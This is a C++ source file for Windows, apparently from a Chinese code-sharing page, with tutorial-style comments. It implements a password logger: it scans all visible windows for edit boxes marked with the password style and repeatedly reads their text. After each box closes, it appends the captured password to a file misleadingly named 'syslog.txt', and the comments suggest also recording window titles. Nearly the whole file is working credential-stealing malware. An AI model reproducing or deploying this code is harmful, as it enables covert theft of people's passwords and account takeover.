📄 passlog.cpp
字号:
#include <windows.h>
#include <stdio.h>
VOID CALLBACK CheckProc(HWND,UINT,UINT,DWORD);
const HWND noWindow=(HWND)(0xffffffff);
//我对C++一向不以为然,
//认为设置一个class,然后设一堆“Private:”
//限制自己的使用,纯粹是和自己过不去。
//所以我还是喜欢用C不++的struct。
//不过我也承认把函数封进类中是个好主意。
struct testcnt
{
HWND text;
short time;
char Pass[50];
testcnt(){text=noWindow;}
};
//这个程序可以同时监控6个密码框。
testcnt mySec[6];
/*
以下代码用来弄清系统中出现的所有窗体,以便抓密码框。解说如下:
API:EnumWindows
EnumWindows(回调过程,参数);
定义一个回调过程,然后使用EnumWindows,系统就会反复调用你的过程,
传递给你所有的窗口句柄(hwnd)。回调过程的定义是:
BOOL CALLBACK <过程名>(HWND hwnd,LPARAM lparam);
使用EnumWindows得到所有句柄后,再用EnumChildWindows获得所有子窗体的
句柄。使用方法和EnumWindows基本相同,不再赘述。
*/
BOOL CALLBACK EnumChildProc(HWND hwnd,LPARAM)
{
long style;
style=GetWindowLong(hwnd,GWL_STYLE);
//窗体不可见的话,就不抓了。因为没有密码框是看不见的。
if((style&WS_VISIBLE )!=WS_VISIBLE )return true;
//带有ES_PASSWORD属性的有可能是密码框。
if((style&ES_PASSWORD)!=ES_PASSWORD)return true;
//找一个空位把密码框句柄保存下来。
int i=0;
while((i<5)&&(mySec[i].text!=noWindow))
{
if(hwnd==mySec[i].text)return true;
i++;
}
if((mySec[i].text!=noWindow))
return false;
mySec[i].text=hwnd;
mySec[i].time=400;
return true;
}
BOOL CALLBACK EnumWindowsProc(HWND hwnd,LPARAM)
{
long style;
style=GetWindowLong(hwnd,GWL_STYLE);
if((style&WS_VISIBLE)!=WS_VISIBLE)return true;
EnumChildWindows(hwnd,(WNDENUMPROC)EnumChildProc,0);
return true;
}
VOID CALLBACK TimerProc(HWND,UINT,UINT,DWORD)
{
EnumWindows((WNDENUMPROC)EnumWindowsProc,0);
}
VOID CALLBACK CheckProc(HWND,UINT,UINT,DWORD)
{
for(int i=0;i<6;i++)
{
if(mySec[i].text!=noWindow)
{
//如果一个“嫌疑密码框”连续存在20秒的话,我认为它不是密码框了。
mySec[i].time--;
if(mySec[i].time==0)
{
mySec[i].text=noWindow;
return;
}
char noUse[10];
//也许你上网时有现场填密码的习惯。
//因此我要等密码框消失后,也就是你填完密码后确定时我才读出。
if(GetClassName(mySec[i].text,noUse,10)==0)
{
mySec[i].text=noWindow;
if(!mySec[i].Pass[0])return;
FILE *out;
if((out=fopen("syslog.txt","a"))==NULL)return;
//如果你愿意的话,自己修改一下这里,
//把密码框所在的窗口标题也写进文件里。
//提示:使用GetWindowText函数。
fprintf(out,"%s\n",mySec[i].Pass);
fclose(out);
mySec[i].Pass[0]=NULL;
}
else
{
SendMessage(mySec[i].text,WM_GETTEXT,50,(long)(mySec[i].Pass));
}
}
}
}
int PASCAL WinMain(HINSTANCE, HINSTANCE, LPSTR, int)
{
//没什么好解说的了。
SetTimer(0,1,1000,(TIMERPROC)TimerProc);
SetTimer(0,2,50,(TIMERPROC)CheckProc);
MSG msg;
while (GetMessage(&msg,NULL, 0, 0))
{
if (!TranslateAcceleratorA(msg.hwnd,NULL, &msg))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
}
KillTimer(0,1);
KillTimer(0,2);
return 0;
}
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -